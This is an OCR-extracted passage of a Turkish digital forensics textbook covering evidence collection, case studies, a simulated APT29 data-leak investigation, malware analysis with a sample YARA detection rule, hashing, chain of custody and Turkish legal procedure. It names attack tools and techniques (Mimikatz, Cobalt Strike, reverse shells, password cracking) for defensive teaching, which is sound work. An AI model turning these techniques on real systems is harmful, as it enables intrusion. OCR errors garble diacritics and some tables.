Ham veriyi anlamli bilgilere doniistiirme asamasidir.

e Silinmis Verilerin Pesinde: Dosya sistemindeki "unallocated space" (bos alan) {lize-
rinde veri kazima (file carving) yaparak silinen mesajlar1 veya dosyalar1 geri getirmek.

o Sifre Kirma: Kriptolanmis disklerin veya parola korumali dosyalarin (brute-force
veya soOzliik saldirilartyla) erisilebilir hale getirilmesi.

« Artefact Inceleme: Isletim sistemindeki gizli izleri (LNK dosyalari, Jump List'ler,
Shellbags) analiz ederek kullanicinin hangi klasorleri agtigini veya hangi programlari
calistirdigini bulmak.

3. Tarafsizlik ve Hipotez Testi
Sorusturmaci bir savel veya savunma avukati gibi davranmaz. Rolii tarafsiz olmaktir.

e Tersini Kamitlama: Sadece sugu ispatlayan delilleri degil, siipheliyi aklayabilecek
"exculpatory" (aklayici) delilleri de arar.

e Senaryo Dogrulama: "Bu dosya buraya kullanic1 tarafindan m1 kopyalandi, yoksa bir
zararl yazilim mi birakt1?" sorusuna kanitlarla cevap verir.

4. Raporlama ve Bilirkisilik (Reporting & Expert Witness)

Teknik bulgulari, teknik olmayan kisilerin (hakim, savct veya sirket yoneticileri) anlayabile-
cegi bir dile terclime etmektir.

e Anlasihir Dil: "MFT girdisindeki $SIAS 6zniteligi degismis" demek yerine, "Dosya-
nin olusturulma tarihiyle oynanmis" seklinde agiklama yapmak.

e Mahkemede ifade: Gerektiginde bilirkisi olarak mahkemeye ¢ikip bulgularini savun-
mak ve ¢apraz sorguya yanit vermek.
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5. Gercek Diinya Ornekleri

Dijital adli bilisimin degeri, ger¢ek olaylarin rekonstriiksiyonunda ortaya ¢ikar.

5.1. Kurumsal Veri Ihlali

Bir finans kurulusunda olagan dis1 ag trafigi tespit edilmistir. Yapilan analizde:

o lIk erisimin kimlik av1 e-postast ile saglandig

o Kimlik bilgilerinin ele ge¢irilmesiyle yatay hareket yapildig

o DNS tiinelleme ile veri sizdirildigt

e Bellek dokiimleri ve disk imajlari ile delil biitiinliigiiniin korundugu tespit edilmistir.

5.2. iceriden Tehdit Vakasi

Bir calisan, ticari sirlar1 dis ortama aktarmakla suclanmistir. Inceleme sonucunda:

e USB depolama cihazina toplu veri aktarimi

o Tarayic1 ve dosya ge¢misi silme girisimi

e MFT ve USB artefakt kalintilar

e Mesai dis1 zaman ¢izelgesi korelasyonu ortaya ¢ikarilmigtir.

5.3. Fidye Yazilimi Saldirisi

Bir saglik kurulusunda fidye yazilimi saldiris1 gerceklesmistir. Analizde:

e VPN zafiyetinin istismar edildigi

o Mimikatz ile ayricalik yiikseltme yapildig:

e Golge kopyalarin silindigi

o Fidye notu ve sifrelenmis dosyalarin artefakt olarak korundugu belirlenmistir.

Dijital adli bilisim; ara¢ kullanma becerisinden ziyade, metodolojiye sadakat ve baglam
kurma disiplinidir.

Bir analistin degeri, yalnizca hangi arac1 kullandigiyla degil, elde ettigi bulgular1 nasil iligki-
lendirdigiyle dlciiliir.
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1. Tedarik Zinciri Saldirisi: SolarWinds (2020)
Tiir: Olay Miidahalesi (IR) ve Tehdit Avciligi

Bu olay, DFIR diinyasinda "modern donemin en biiyiik casusluk operasyonu" olarak kabul
edilir.

e Olay: Saldirganlar, SolarWinds adl1 yazilim sirketinin giincelleme mekanizmasina si-
zarak, diinya genelinde 18.000 kurulusa (ABD hiikiimeti dahil) arka kap1 iceren bir
giincelleme gonderdi.

o DFIR Rolii: FireEye giivenlik firmasi, kendi sistemlerinde "yeni bir cihaz kaydedildi-
gini" fark edince derinlemesine inceleme baslatti.

e Sonug¢: Yapilan Davranis Modeli Cikarma calismalari, saldirganlarin standart bir
kullanic1 gibi davrandigini ancak alisilmadik zamanlarda alisilmadik sunuculara bag-
landigin1 ortaya ¢ikardi. Bu, "Tedarik Zinciri Giivenligi" kavramini tiim diinyanin
giindemine soktu.

2. I¢ Tehdit: Anthony Levandowski (Google vs. Uber)
Tiir: Elektronik Kesif (e-Discovery) ve Adli Tip (DF)
Bu 6rnek, bir sorusturmanin nasil hukuk savasina doniistiigiinii gosterir.

e Olay: Google'in siiriiclisiiz ara¢ biriminde (Waymo) ¢alisan Levandowski, istifa edip
kendi sirketini kurmadan hemen 6nce Google sunucularindan 14.000 hassas dosya in-
dirdi.

o DFIR Rolii: Google'in adli tip uzmanlari, Levandowski'nin diziistii bilgisayarina bir
harici disk taktigini ve 6zel bir yazilimla bu verileri transfer ettigini Artefact Analizi
(LNK dosyalar1 ve USB kayaitlar1) ile kanitladi.

e Sonug: e-Discovery siireciyle ortaya ¢ikan e-postalar ve teknik kanitlar sonucunda
Uber, Google'a 245 milyon dolar 6demeyi kabul etti ve Levandowski hapis cezasina
carptirildi.

3. Finansal Soygun: Bangladesh Bank (2016)
Tiir: Ag Adli Tip (Network Forensics) ve Olay Rekonstriiksiyonu

e Olay: Saldirganlar SWIFT agin1 hackleyerek New York Federal Reserve'den 81 mil-
yon dolar1 Filipinler'deki kumarhanelere aktard.

o DFIR Rolii: Sorusturmacilar, bankadaki bir yazicinin neden hata verdigini incelerken
saldiriy1 kesfetti. Olay yerindeki incelemede, saldirganlarin bankanin agindaki printer
loglarini silmeye ¢alistig1 ancak bir "kod hatasi" nedeniyle yazicinin durdugu anlasildi.

e Sonuc: Olay Rekonstriiksiyonu sayesinde, saldirganlarin sistemde aylarca "uykuda"
(dormant) bekledigi ve bankanin a§ mimarisindeki zayif izolasyonu kullandig1 sap-
tandu.
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Ornek Temel Ders
SolarWinds En giivenilir yazilimlar bile bir saldir1 vektorii olabilir.
Levandowski I¢ tehditler (galisanlar), dis saldirganlar kadar tehlikelidir.
Bangladesh Kiigiik bir teknik hata (yazici arizasi), devasa bir soygunu desifre
Bank edebilir.

Senaryo: "Gece Yarisi Veri Sizintist"

Sirketin SOC (Giivenlik Operasyon Merkezi) ekibi, Satis Miidiirii'niin bilgisayarindan diin
gece saat 02:15 ile 03:45 arasinda, yurt disindaki siipheli bir IP adresine yaklasik 15 GB veri
transfer edildigini fark etti. Miidiir, o saatte uyudugunu ve bilgisayarinin kapali oldugunu id-
dia ediyor.

Adim 1: Artefact Toplama (Kanit Toplama)
Miidiiriin bilgisayarinin basina gectin. Bilgisayar su an acik. ilk isin ne olur?

e Ucucu Veri (RAM): Bilgisayar1 kapatmadan 6nce RAM imajin1 almalisin. Eger sal-
dirgan bir "reverse shell" actiysa veya sifreli bir siiriicli kullaniyorsa, bu bilgiler sadece
RAM'dedir.

« Disk Imaji: Bilgisayar: giivenli bir sekilde kapatip (veya canli imaj alarak) bir Write-
Blocker araciligiyla tiim diskin kopyasini almalisin.

 Oncelikli Dosyalar: Tiim diski analiz etmek zaman alacag: i¢in su dosyalara (artefact)
odaklanmalisin:

o $MrT (Master File Table): Dosya sistemindeki tiim hareketlerin kaydi.
o Registry Hives: Sistem ayarlar1 ve bagh cihazlar.
o LNK Files & Jump Lists: Kullanicinin en son hangi dosyalari agtigi.

Adim 2: Zaman Cizelgesi (Timeline) Olusturma
Topladigin verileri bir araya getirip o gece neler oldugunu saniyelik bazda gérmen gerekiyor.

e Arag: log2timeline (Plaso) kullanarak tiim sistem loglarini ve dosya sistemi zaman
damgalarin1 birlestiriyorsun.

e Bulgu: Saat 02:10'da bilgisayara bir USB bellek takildigini (usBsTor kayitlarindan)
ve 02:12'de bir uzaktan masaiistii (RDP) oturumunun basladigini gériiyorsun.
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Adim 3: Davranis Modeli Cikarma

Bu asamada "Bu isi kim yapt1?" sorusuna odaklaniyoruz.

Anomali: Miidiiriin hesab1 kullanilmis ancak RDP baglantis1 sirket i¢i agdan degil, bir
VPN iizerinden gelmis.

Yiiriitme: Saat 02:20'de cmd. exe iizerinden bir PowerShell komutu calistirilmis. Bu
komut, "Miisteri_Listesi.zip" adl1 bir dosya olusturmus.

Kritik Soru: Miidiir bu komutlar1 yazacak teknik bilgiye sahip mi? Hayir. O zaman
bu bir Kimlik Hirsizhigi veya Zararh Yazilim vakasi.

Adim 4: Olay Rekonstriiksiyonu (Hikayeyi Yazma)

Pargalar birlestiriyoruz:

1.

Giris: Saldirgan, midiiriin daha 6nce bir oltalama (phishing) saldirisiyla ele gecirdigi
sifresini kullanarak VPN {izerinden aga sizdi.

Erisim: Saat 02:12'de RDP ile bilgisayara baglandi.

Eylem: Dosyalari sikistirdi ve bulut tabanli bir depolama sitesine (15 GB veri) ytik-
ledi.

Iz Silme: Giderken olay giinliiklerinin (event logs) bir kismini temizlemeye calist: an-
cak prefetch dosyalar1 saldirganin ¢alistirdigi temizleme aracini ele verdi.

Adim 5: Tehdit Istihbarat1 ve Iliskilendirme

Saldirganin 15 GB veriyi sizdirdig1 hedef IP adresini (185. x. x. x) ve sistemde biraktig1
PowerShell betiginin imzasini (hash degerini) alip global veri tabanlarinda (VirusTotal, Alien-
Vault, vb.) sorguluyorsun.

Elde ettigin bulgular sunlar:

IP Adresi: Bu IP, daha 6nce "Finans Sektoriinii" hedef alan APT29 (Cozy Bear) gru-
buyla iliskilendirilmis bir komuta kontrol merkezi (C2).

Zararh Yazihm: PowerShell betiginin, bellek icinde (fileless) ¢alisan ve sadece
RAM'de iz birakan bir "Cobalt Strike" beacon't oldugu ortaya ¢ikiyor.
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Adim 6: Miidahale Stratejisinin Giincellenmesi

Bu siradan bir hacker saldiris1 degil, bir APT (Gelismis Siirekli Tehdit) operasyonu. Bu du-
rumda stratejini hemen degistirmen gerekir:

1. Sessiz izleme: Saldirgani iceride baska hangi bilgisayarlara sigradigmi (Lateral Mo-
vement) anlamak i¢in hemen "baglantiy1 kesmek" yerine ag trafigini bir siire daha iz-
lemeye alirsin. (Eger hemen kesersen, saldirgan baska bir "arka kapidan" tekrar girer
ve bu sefer daha iyi saklanir).

2. Kapsama: Sadece miidiiriin bilgisayarini1 degil, ayn1 ag segmentindeki tiim sunuculari
karantinaya alirsin.

Olayin Finali: Raporlama
Sorusturmay1 tamamladin ve yonetime su 6zeti sunuyorsun:

Bulgu: Olay, bir kullanici hatas1 degil, devlet destekli bir grubun (APT29) hedefli saldirisidir.
Kanit: Midiiriin VPN sifresi, 2 hafta dnce gelen "Yillik Prim Listesi" gortiniimlii bir PDF
tizerinden calinmis. 15 GB veri sizdirilmis ancak saldirganin sistemde kalici olmasini sagla-
yan "Persistency" mekanizmalar1 (Kayit defteri anahtarlar) tespit edilip imha edilmistir.

Sonug¢ ve Kazanim

Bu vaka analiziyle su siireci canli yasadik:

Artefact: USB kayitlar1 ve RDP loglari.

Timeline: Olayin 02:12'de basladiginin tespiti.

Davranis: Siipheli PowerShell kullanimi.

Rekonstriiksiyon: Phishing -> VPN -> RDP -> Veri Sizintis1.

AW N~

1. Ilk Bakis: Dosya Tipi ve Hash Degeri

Once dosyanin gercekte ne oldugunu anlamaliy1z. Saldirganlar bazen bir . exe dosyasini .pdf
gibi gostererek kullaniciy1 kandirir.

o Hash Hesaplama: Dosyanin $SHA-256$ degerini alip VirusTotal gibi platformlarda
"Bu daha 6nce goriildii mii?" diye bakiyoruz.

e Strings Analizi: Dosyanin i¢indeki okunabilir metinleri ayikliyoruz. Burada sunlar1
yakalayabiliriz:

Saldirganin IP adresleri veya domain adlari.

Hata mesajlar1 (Bazen saldirganin dilini veya ruh halini ele verir).
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Kullanilan fonksiyon isimleri (Orn: InternetOpena, CreateProcess).

2. Tasmabilir Calistirilabilir (PE) Yapisi

Windows iizerinde ¢alisan hemen hemen tiim programlar PE (Portable Executable) forma-
tindadir. Statik analizde bu yapinin "rontgenini" ¢ekeriz:

o Import Table: Bu program hangi Windows kiitiiphanelerini (prr) kullantyor?
o Egerws2 32.d11 (Ag islemleri) ve advapi32.d11 (Kayit defteri) varsa, bu
yazilimin disariyla haberlestigi ve sistemde kalici olmaya ¢alistig1 kesinlesir.
e Sections: .text (kod), .data (veriler) gibi boliimleri inceleriz. Eger dosya ""Packed"
(sikistirilmig/sifrelenmis) ise boliimlerin boyutlari normalden farkli goriiniir. UPX gibi
araclarla paketlenmisse dnce bunu agmamiz (unpack) gerekir.

3. Tersine Miihendislik (Disassembling)

Kodun i¢ine giriyoruz. Bir Disassembler (Orn: IDA Pro, Ghidra) kullanarak dosyanin makine
kodunu, insanlarin okuyabilecegi Assembly diline doniistiiriiyoruz.

o Kod Akisi: Program calisinca dnce nereye gidiyor? Sifre mi ¢aliyor? Dosyalart mu sif-
reliyor?

o Anti-Analiz Teknikleri: Bazi gelismis yazilimlar, bir "analiz ortaminda" (Sanal ma-
kine) olduklarini anlarlarsa ¢alismay1 durdurur veya sahte islemler yaparlar. Statik
analizle bu "tuzaklar1" heniiz calismadan saptayabiliriz.

Avantajlar Simirlar

Zordur: Sifrelenmis (obfuscated) kod-

Giivenlidir: Viriisiin bulagsma riski yoktur. S N Y

Kapsamhdir: Programin tiim dallanmala- Zaman Ahcidir: Biiyiik dosyalart ma-
rin1 gorebilirsin. nuel incelemek haftalar siirebilir.

Imza Olusturma: YARA kurallar1 yazarak Eksik Kalabilir: Sadece RAM'de olu-
bu viriisii diger sistemlerde tarayabilirsin. san (fileless) kisimlar1 géremeyebilirsin.
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Analizini bitirdiginde, bu zararl1 yazilimin "genetik kodunu" igeren bir YARA kurah yazarsin. Bu kural soyle
gorunur:

rule APT29 Malware_Example {
strings:

$hex_string = { E2 34 Al C8 23 FB }

$ip_address = "185.x.x.x"

$magic_word "ShadowCozy"
condition:

$hex_string or ($ip_address and $magic_word)
}
Dinamik Analizin "Tuzaklar1" (Anti-VM)

Modern zararli yazilimlar akillidir. Eger bir Sandbox i¢inde olduklarini anlarlarsa (6rnegin;
mouse hareket etmiyorsa veya CPU cekirdek sayisi ¢ok azsa) uyku moduna gecerler ve hig-
bir zararli hareket gostermezler.

Bu durumda uzmanlar, Sandbox't "gercek bir kullanici bilgisayar1" gibi gosterecek modifikas-
yonlar yaparlar.

Analiz Ozeti ve Raporlama
Dinamik analiz sonunda elimizde net bir Davramis Raporu olusur:
e IP: 185.x.x.x adresine gitmeye calisti.
e Dosya: temp sys.d11 adinda bir dosya olusturdu.
o Kahcihik: HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVer-
sion\Run altina kendini ekledi.
Bu noktadan sonra bir DFIR Uzmanm olarak sunlar1 yapabilirsin:
1. Sertifikasyon: GCFE (Forensics) veya GCIH (Incident Handler) gibi global sertifika-
lara yonelebilirsin.

2. Lab Kurulumu: Kendi bilgisayarinda Remnux (Zararl: analizi i¢in) veya SIFT
Workstation (Adli tip i¢in) yiiklii sanal makineler kurabilirsin.
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BOLUM 2

Delil Zinciri ve Hukuki Cerceve

2.1 Dijital Delilin Hukuki Niteligi

Dijital delil, elektronik ortamlarda depolanan veya iletilen verilerin sorusturma kapsaminda
hukuki deger tasiyan kismidir. Ancak dijital verinin delil niteligi kazanabilmesi, yalnizca tek-
nik olarak elde edilmis olmasina degil, usule uygun sekilde korunmus ve islenmis olmasina
baghidir.

Bir djjital delilin mahkemede kabul edilebilir olmas1 i¢in asagidaki kriterleri karsilamasi gere-
kir:

Yetkili kisi veya kurum tarafindan elde edilmis olmasi

Elde edilme yonteminin hukuka uygun olmasi

Delilin biitiinliigiintin korunmus olmast

Miidahale edilmediginin teknik olarak dogrulanabilir olmas1
Siirecin belgelendirilmis olmasi

Dijital deliller, fiziksel delillerden farkli olarak kolayca kopyalanabilir ve degistirilebilir yapi-
dadir. Bu durum, hem avantaj hem de risk olusturur. Avantajdir; ¢iinkii orijinal delile zarar
vermeden birebir kopya aliabilir. Risktir; ¢ilinkii bilingsiz veya yetkisiz miidahale delilin hu-
kuki degerini ortadan kaldirabilir.

Bu nedenle dijital adli bilisimde teknik dogruluk kadar prosediirel disiplin de kritik 6neme sa-
hiptir.

2.2 Delil Biitiinliigii ve Hash Kavrami

Delil biitlinliigii, dijital verinin elde edildigi andan analiz siirecinin sonuna kadar degistirilme-
diginin garanti altina alinmasidir. Bu garanti, kriptografik hash algoritmalar ile saglanir.

Hash Nedir?
Hash, herhangi bir veri kiimesinin matematiksel bir algoritma araciligiyla sabit uzunlukta bir
0zet degerine doniistiiriilmesidir. Ayn1 veri her zaman ayn1 hash degerini tiretir; veri lizerinde
yapilan en kii¢lik degisiklik dahi hash degerini tamamen farklilagtirir.
Bu 6zellik sayesinde hash degerleri dijital parmak izi olarak kullanilir.
Neden Gereklidir?

o Delilin degistirilmedigini kanitlamak i¢in

e Orijinal ve adli imajin birebir ayn1 oldugunu dogrulamak i¢in
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e Siire¢ boyunca biitiinliigii kontrol etmek i¢in
e Mahkemede teknik giivenilirlik saglamak i¢in

Dijital adli siirecte genel uygulama su sekildedir:

e Orijinal delil iizerinde hash hesaplanir
e Adli imaj (forensic image) olusturulur
o Imaj iizerinde tekrar hash hesaplanir

e ki deger karsilastirilir

Eger degerler eslesiyorsa, kopya birebir dogrulanmis kabul edilir.
MDS ve SHA-256

Gegmiste MDS5 algoritmasi yaygin olarak kullanilmistir. Ancak ¢akisma (collision) iiretilebilir
olmasi nedeniyle giivenlik acisindan zayif kabul edilmektedir. Glintimiizde adli siireglerde
yaygin olarak SHA-256 veya daha giiclii algoritmalar tercih edilmektedir.

Bu noktada 6nemli olan, kullanilan algoritmanin gii¢lii olmas1 kadar, siirecin dogru belgelen-
dirilmesidir.

MD5 (Message Digest 5)

Eski bir algoritmadir. Hizlidir ancak giiniimiizde "¢akigsma" (farkli iki dosyanin ayni hash'i
iiretmesi) riskinden dolay1 tek bagina giivenli kabul edilmez.

o Uzunluk: 128 bit (32 karakterlik onaltilik say1).

o Ornek Cikti: 7blal3e61f2216503b41d0637f90f3a6
e Kullanim: Genellikle dosya biitiinliigiinii hizlica kontrol etmek i¢in kullanilir.

2. SHA-256 (Secure Hash Algorithm 256)

Modern adli bilisim standartidir. Cok daha gilivenlidir ve ¢akisma riski yok denecek kadar az-
dir.

e Uzunluk: 256 bit (64 karakterlik onaltilik say1).

e Ornek Cikti: €3b0c44298fc1c149afbf4c89961b92427ae41e4649b934ca495991b7852b855
o Kullanim: Resmi adli raporlarda ve dijital imzalarda zorunludur.

$$Hash {ilk} = Hash_ {son}$$

Eger bu esitlik saglaniyorsa, delilin bozulmadigim (integrity) kanitlamis olursun.
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2.3 Zincirleme Delil Takibi (Chain of Custody)

Zincirleme delil takibi, dijital delilin elde edildigi andan mahkemeye sunulana kadar gecen
stirede kimlerin elinden gectiginin, hangi kosullarda saklandiginin ve nasil islendiginin kayit
altina alinmasidar.

Bu kayit sistemi agsagidaki sorulara cevap verebilmelidir:

Zincirin herhangi bir asamasinda kayit eksikligi olusmasi, delilin glivenilirligini zayiflatabilir.

Temel prensip sudur:

Orijinal Delil

L 4

[ SHA-256 Hash |

Hesaplama
¥
Adli imaj
Olusturma

A 4

Adli imaj Hash

Hesaplama
¥
Hash
Karsilastirma
9
BUTUNIOk
Dogrulandi

Delil kim tarafindan toplandi?
Hangi tarihte ve saatte alind1?
Nerede saklandi1?

Kimler erisim sagladi?

Hangi islemler uygulandi?
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Orijinal delil tizerinde dogrudan analiz yapilmaz. Analiz, dogrulanmis adli imaj tizerinde ger-
ceklestirilir.

Zincirleme takip sistemi yalnizca hukuki zorunluluk degil, ayn1 zamanda mesleki etik gerekli-
liktir.

Delilin Tespiti

A 4

Etiketleme & |
Belgeleme

L 4

Hash
Hesaplama

L 4

GUvenli
Nakliye

L 4

Ce]pligell[V
Depolama

L 4

_ AdliKopya
Uzerinde Analiz

A 4

Raporloma &
Sunum

Bu kural, dijital adli bilisimin **"Altin Kural1"**dur.
Siirecin Ozeti

Adim 1: Orijinal delili miihiirle ve yazma korumali bagla.

Adim 2: Birebir kopyasini (Imaj) al.

Adim 3: Imajin Hash (MD5/SHA) degerini hesapla ve orijinalle karsilastir.
Adim 4: Analizi sadece bu kopya tizerinde yap.

44




2.4 Uluslararasi Standartlar ve Rehberler

Dijjital adli bilisim uygulamalar1 uluslararasi standartlar ile ¢cercevelenmistir. Bu standartlar
metodolojik tutarlilig1 ve hukuki savunulabilirligi destekler.

Referans Odak Noktas1 Temel Amaci

ISO 27037 Fiziksel Delil Delilin bozulmadan toplanmasi (Olay yert).
NIST 800-86 || Metodoloji Olay miidahale ve analiz asamalari.

ACPO Hukuki Gegerlilik || Uzman sorumlulugu ve denetim izi.

RFC 3227 Teknik Siralama Veri kaybini 6nlemek icin 6ncelik belirleme.

Dipnot: Tiirkiye'de bu standartlar genellikle TSE ISO/IEC 27037 olarak yerellestirilmistir ve bilirkisi raporla-
rinda bu standartlara atif yapilmasi raporun giivenilirligini artirir.

TSE ISO/IEC 27037, uluslararas1 standartlarin Tiirk Standartlar1 Enstitiisii tarafindan yerel-
lestirilmis halidir ve dijital delil yonetiminin "Anayasasi'" olarak kabul edilir.

Bu standart, bir dijital delilin (bilgisayar, telefon, bulut verisi vb.) olay yerinden mahkemeye
kadar olan yolculugunda izlenmesi gereken kurallar belirler.

Eger bir adli bilisim uzmani raporunda ""TSE ISO/IEC 27037 standartlarina uygun hare-
ket edilmistir" ibaresini kullaniyorsa, bu su anlama gelir: "Ben bu delile dokunmadim, kop-

yasini usuliine uygun aldim ve stiregteki her adimim seffaftir." Bu beyan, delilin mahkemede
reddedilme ihtimalini minimize eder.

2.5 Uygulamal Senaryo: Bir Diziistii Bilgisayarin Adli Incelenmesi

Bir kurumda i¢ sorusturma kapsaminda ¢alisanlara ait bir diziistii bilgisayara el konuldugunu
varsayalim.

[zlenecek temel adimlar:
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Cihazin kimliklendirilmesi ve etiketlenmesi

Fiziksel giivenliginin saglanmasi

Yazma engelleyici (write blocker) kullanilarak adli imaj alinmasi
Orijinal ve imaj lizerinde hash hesaplanmasi

Zincirleme delil formunun doldurulmasi

Analizin yalnizca imaj lizerinde gerceklestirilmesi

Tiim adimlarin raporlanmasi

ey B ogs e ) =

Bu 6rnek, dijital adli siirecin teknik oldugu kadar prosediirel oldugunu da gostermektedir.

Kanit Biitiinliigiiniin Teknik Ispati: Hashing

Hukuk, "bu dosyanin degistirilmedigini nereden bilelim?" diye sorar. Adli bilisim uzmani ise
buna Hash degerleriyle yanit verir.

e Orijinal Kanit Hash: $SMDS5$ veya $SHA-256$ degeri alinir.

o Adli Kopya Hash: Alinan imajin hash degeri orijinaliyle birebir tutmalidir.

e Dogrulama: Analiz bittiginde tekrar hesaplanan hash degeri hala ayniysa, veri biitiin-
liiglintin korundugu ispatlanmis olur.

A. CMK 134. Madde (Bilgisayarlarda Arama ve El Koyma)

Ceza Muhakemesi Kanunu'nun bu maddesi, adli bilisimin anayasasidir.

e Yargic Karari: Hakim karar1 olmaksizin bilgisayar ve veri tabanlarinda arama yapila-
maz.

e Yedekleme Zorunlulugu: El koyma islemi sirasinda verilerin bir kopyasi (imaj1) ¢1-
karilmali ve bir 6rnegi ilgilisine verilmelidir.

e Sifre Cozme: Siiphelinin sifreyi sdylememesi durumunda, kolluk kuvvetinin bu sif-
reyi teknik yontemlerle kirma yetkisi vardir.

B. KVKK ve GDPR (Veri Gizliligi)
Ozellikle kurumsal sorusturmalarda (i¢ tehdit analizlerinde) bu kanunlar devreye girer.
e  Olgiiliiliik: Sorusturma amacini asan kisisel verilere (6rnegin calisanin 6zel What-
sApp mesajlarina) girilmemelidir.

e Aydmlatma Yiikiimliiliigii: Sirket bilgisayarlarinin denetlenebilecegine dair ¢alisa-
nin dnceden bilgilendirilmis olmasi (Genelde Is S6zlesmesi ile yapilir) gerekir.

Adli Raporlama Standartlari

Sorusturmanin sonunda hazirlanan rapor, teknik bir dokiimandan ziyade hukuki bir belgedir.
Iyi bir rapor su yapida olmalidir:

1. Yonetici Ozeti: Teknik olmayan kisiler igin "ne oldu?" dzeti.
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3.
4.

Yontem: Hangi araglarin (EnCase, Autopsy vb.) ve hangi adli yontemlerin kullanil-
dig1.

Bulgular: "Dosya silinmis", "Su saatte gonderilmis" gibi somut veriler.
Sonu¢/Goriis: Uzmanin verilerden yola ¢ikarak ulagtigi teknik kanaat.

Uzman Taniklig1 (Expert Witness)

Eger dava mahkemeye tasinirsa, adli bilisim uzmani "bilirkisi" veya "uzman tanik" olarak
cagrilabilir.

Objektiflik: Sorusturmaci bir tarafi savunmaz, sadece verinin ne sdyledigini agiklar.
Capraz Sorgu: Avukatlar, delil zincirindeki en kiigiik bir boslugu (6rnegin; "Kanat
poseti 1 saat boyunca masanin {izerinde sahipsiz mi kaldi1?") kullanarak davay1 diisir-
meye caligabilir.

Tirkiye'de dijital adli tip veya bilisim alaninda Bilirkisi olmak, hem teknik uzmanligi-
niz1 tescillemek hem de yargi sistemine resmi olarak hizmet vermek anlamina gelir.
Bu siireg, Adalet Bakanlig1 Bilirkisilik Daire Baskanlig: tarafindan yiiriitiiliir ve ol-
dukea siki kurallara tabidir.

Iste adim adim Tiirkiye'de bilirkisilik siireci:

Temel Sartlar1 Saglamak

Bilirkisilik bagvurusu yapabilmek icin 6ncelikle su genel sartlari tasimaniz gerekir:

Fiil Ehliyeti: 18 yasin1 doldurmus ve medeni haklar1 kullanma ehliyetine sahip olmak.
Egitim: Uzmanlik alanina gore ilgili bir boliimden (Bilisim i¢in genellikle Bilgisayar,
Adli Bilisim, Yazilim Miihendisligi vb.) mezun olmak.

Deneyim: Kendi alaninizda en az S yillik fiili caliyma tecriibesine sahip olmak (En
kritik sartlardan biridir).

Adli Sicil: Belirli suglardan hiikiim giymemis olmak ve disiplin yoniinden meslekten
¢ikarilmamis olmak.

Bilirkisilik Temel Egitimi Almak

Teknik bilginiz ne kadar iyi olursa olsun, hukuki prosediirii bilmeniz sarttir. Bu nedenle, ba-
kanlik¢a yetkilendirilmis kurumlar (Barolar, Universiteler, Meslek Odalari) tarafindan verilen
Bilirkisilik Temel Egitimi'ne katilmalisiniz.

I¢erik: Yargilama hukuku, bilirkisinin etik ilkeleri, rapor yazim teknikleri ve dosya
inceleme usulleri.

Siire: Genellikle 24 saatlik (18 saat teorik, 6 saat uygulama) bir egitimdir.

Sertifika: Egitimi tamamladiginizda aldiginiz katilim belgesi, bagvuru dosyanizin en
onemli parcasidir.
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Basvuru ve Alt Uzmanlik Se¢imi

Her yilin son ¢eyreginde (genelde Ekim-Kasim-Aralik aylarinda) Adalet Bakanlig1 bilirkisi
alim ilan1 yayinlar. Bagvurular e-Devlet (Uyap Bilirkisi Portal) iizerinden yapilir. Bilisim
alaninda su gibi alt uzmanlik dallarindan size uygun olanlar1 segersiniz:

e 01.01 — Adli Bilisim (Dijital Veri Inceleme)

e 01.02 — Yazilim ve Veri Tabani

e 01.04 — Ag ve Siber Giivenlik

e 01.05 — Mobil Cihazlar ve iletisim Teknolojileri

Inceleme ve Yemin Siireci

Basvurunuz Bolge Bilirkisilik Kurulu tarafindan incelenir. Eger belgeleriniz ve tecriibeniz uy-
gun gorlliirse, isminiz Bilirkisi Bolge Listesi'ne kabul edilir.

e Yemin: Listeye kabul edilenler, Bolge Adliye Mahkemesi Adli Yarg: Adalet Komis-
yonu huzurunda "gorevlerini sadakat, tarafsizlik ve diiriistliikle yapacaklarma" dair ye-
min ederler.

o Listeye Kayit: Yemin sonrasi isminiz ilan edilir ve artik hakimler/savcilar tarafindan
UY AP {izerinden size dosya atanabilir.

Yiikiimliiliik Aciklama

Taraflardan biriyle akrabalik veya menfaat iligkisi varsa gorevi red-

e th N s detmelidir.

S Uy Raporu kendisine taninan yasal siirede (genelde 2-4 hafta) teslim et-

melidir.
Gerekgelen- "Sucludur/Sugsuzdur" diyemez; sadece teknik bulguyu nedenleriyle
dirme aciklar.
Ucret Hakki Hazirladig1 her rapor i¢in devlet tarafindan belirlenen tarifeye gore

ucret alir.
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Dikkat Edilmesi Gereken "Bilirkisi Raporu" Detay1

Mahkemeye sundugunuz bir raporda, yukarida konustugumuz Artefact ve Timeline analizle-
rini kullanirken, teknik terimleri mutlaka hakimin anlayabilecegi seviyeye indirgemelisiniz.

Ornek: "Kullanic1 $C:$ dizinindeki verileri sildi" demek yerine, "Yapilan adli incelemede,

kullanic1 miidahalesiyle veri silme isleminin gergeklestigi teknik giinliiklerle (logs) saptan-
mistir" ifadesi daha hukuki bir dildir.

Bolim 2 Kapanis Paragrafi

Dijital adli bilisimde teknik yetkinlik tek basina yeterli degildir. Siirecin hukuki ¢ergeveye uy-
gun yiiriitiilmemesi, en giiclii teknik bulgularin dahi gegersiz sayilmasina yol agabilir. Bu ne-
denle bir analistin en 6nemli disiplini, delile degil siirece sadakat gostermektir.
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BOLUM 3
Delil Kaynaklar: ve Volatilite

3.1 Dijital Delil Kaynaklar

Dijital sorusturmalarda delil yalnizca bir disk imajindan ibaret degildir. Modern sistemlerde
veriler; igletim sistemi, bellek, ag, bulut ve harici depolama ortamlar1 arasinda dagilmis du-
rumdadir. Bir analist i¢in ilk kritik soru sudur:

Hangi veri kaynagi, hangi tiir soruya cevap verir? Dijital deliller genel olarak su kategorilerde
incelenebilir:

1. Seviye: En Ugucu (Kritik)
« Kayit Defterleri ve Onbellek (Registers & Cache): CPU icindeki anlik veriler. Mili-

saniyeler i¢inde degisir. )
e Yonlendirme Tablolar:1 ve ARP Onbellegi: Ag baglant1 bilgileri.

2. Seviye: Bellek (RAM)

« Onemi: Calisan islemler, sifrelenmis dosyalarm anahtarlar1, panoya (clipboard) kop-
yalanan metinler ve gizli ag baglantilar1 buradadir.

o Risk: Bilgisayarin fisi ¢ekildigi veya yeniden baslatildigi anda bu veriler tamamen si-
linir.

3. Seviye: Gegici Dosya Sistemleri

« Disk Uzerindeki Swap/Page Dosyalari: RAM yetmediginde diskin kullanilan kismu.
e Ag Durumu: Aktif TCP/UDP baglantilari.

4. Seviye: Kalic1 Depolama (Disk)

o Hard Diskler ve SSD'ler: Isletim sistemi, kullanic1 dosyalar1 ve loglar. Bilgisayar ka-
pansa da veri burada kalir.
e Risk: Verinin iizerine yazilmasi (Overwrite).

5. Seviye: Uzak Kayitlar (Remote Logs)

